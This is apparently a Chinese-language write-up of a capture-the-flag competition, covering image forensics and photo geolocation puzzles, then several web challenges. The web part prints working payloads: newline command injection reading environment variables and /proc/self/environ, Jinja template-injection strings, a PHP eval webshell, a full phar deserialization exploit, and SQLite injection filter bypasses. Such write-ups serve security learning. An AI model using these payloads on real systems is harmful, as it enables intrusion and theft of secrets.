ICLESCTF-web-misc-wp
misc
misc1
查看源码gif取证,那就是分析那一gif图片了,随波逐流直接gif分帧查看,在cc翻到
misc2
此题乍一看不知道考啥,仔细分析一下只有一张图片,也只能考图片隐写了,另存为010打开,看到敏感base64字符,解密得到fllag
misc3
首先注意审题,不然有得受的。
图片打开,信息太多了,直接百度地图搜索珠江城。
开全景一看,没错了,看到了广州银行与创兴银行
大致位置确定了,接下来就是找这个视角位置,首先这视角珠江城前方,且很高。 百度识图一下,发现小红书提到四季酒店,高德地图一看,有可能,试一下果然是
flag{广东省-广州市-天河区-珠江新城珠江西路-5号}
web
ping_server
直接抓环境变量env
还有高手直接盲抓一手环境里的变量$FLAG
ssti也能打,不过还是抓环境127.0.0.1%0a{{lipsum.__globals__.os.environ}}
127.0.0.1%0acat /proc/self/environ(利用proc读环境)
Proc 目录在 CTF 中的利用-安全KER - 安全资讯平台
当然也可以printenv
printenv命令 – 显示系统环境变量与值 – Linux命令大全(手册)
template_injection
首先fuzz一下,发现386的长度的被过滤
这里关键词绕过还好,主要是这个()与[]被过滤了就很难受,那只能利用os读环境变量了
name={{lipsum.__globals__.os.environ}}
upload-difficult
非预期
上传一句话木马<?php eval($_REQUEST['1']);?>,然后直接找flag即可
预期解法
上传一句话木马后,发现了classes.php
<?php
class FileProcessor {
private $handler;
public function __destruct() {
$this->handler->cleanup();
}
}
class TempFileHandler {
public $filename;
public function cleanup() {
// 触发__toString的关键点
echo "Cleaning: " . $this->filename . "<br>";
if (file_exists((string)$this->filename)) {
unlink((string)$this->filename);
}
}
}
class Logger {
private $log_content;
public function __toString() {
$flag = getenv('FLAG');
return base64_encode($flag);
}
}
class DatabaseConnection {
// 保留混淆类
public $query;
public function execute() {
new PDO('sqlite::memory:');
return "Executed: ".$this->query;
}
}
就是打一个phar反序列化。
<?php
class FileProcessor {
public $handler;
public function __destruct() {
$this->handler->cleanup();
}
}
class TempFileHandler {
public $filename;
public function cleanup() {
// 触发__toString的关键点
echo "Cleaning: " . $this->filename . "<br>";
if (file_exists((string)$this->filename)) {
unlink((string)$this->filename);
}
}
}
class Logger {
private $log_content;
public function __toString() {
$flag = getenv('FLAG');
return base64_encode($flag);
}
}
class DatabaseConnection {
// 保留混淆类
public $query;
public function execute() {
new PDO('sqlite::memory:');
return "Executed: ".$this->query;
}
}
$a=new FileProcessor();
$a->handler=new TempFileHandler();
$a->handler->filename=new Logger();
$phar = new Phar("iclesctf.phar"); // 创建一个名为 iclesctf.phar 的 Phar 文件
$phar->startBuffering(); // 开始缓冲,以允许修改 Phar 文件
$phar->setStub('<?php __HALT_COMPILER(); ?>'); // 设置 Phar 文件的存根(Stub),防止被误认为普通 PHP 脚本
$phar->setMetadata($a); // 将 Chunqiu 对象作为元数据存储在 Phar 文件中
$phar->addFromString("exp.txt", "test"); // 向 Phar 文件中添加一个名为 exp.txt 的文件,内容为 "test"
$phar->stopBuffering();
?>
配置看配环境小记之phar.readonly=Off坑_uncaught unexpectedvalueexception: creating archiv-CSDN博客
ezsql
直接打万能密码,发现在password有sql注入 (过滤了or,直接大小写绕过)
看列数(过滤了一些关键词,与空格)
看回显点在2.
这题看似sql,其实是sqlite.
SQLite sqlite_master_sqlite master-CSDN博客